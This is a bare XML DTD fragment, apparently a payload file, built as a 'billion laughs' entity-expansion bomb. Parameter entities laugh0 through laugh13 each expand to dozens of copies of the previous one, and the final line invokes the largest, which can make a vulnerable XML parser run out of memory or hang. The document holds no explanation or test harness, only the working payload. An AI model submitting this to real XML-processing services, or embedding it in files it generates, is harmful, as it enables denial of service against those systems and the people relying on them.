<!ELEMENT billion (#PCDATA)>
<!ENTITY % laugh0 "<!-- Ha ! -->">
<!ENTITY % laugh1 "%laugh0;%laugh0;">
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<!ENTITY % laugh8 "%laugh7;%laugh7;">
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<!ENTITY % laugh10 "%laugh9;%laugh9;">
<!ENTITY % laugh11
"%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;">
<!ENTITY % laugh12
"%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;">
<!ENTITY % laugh13
"%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;">
%laugh13;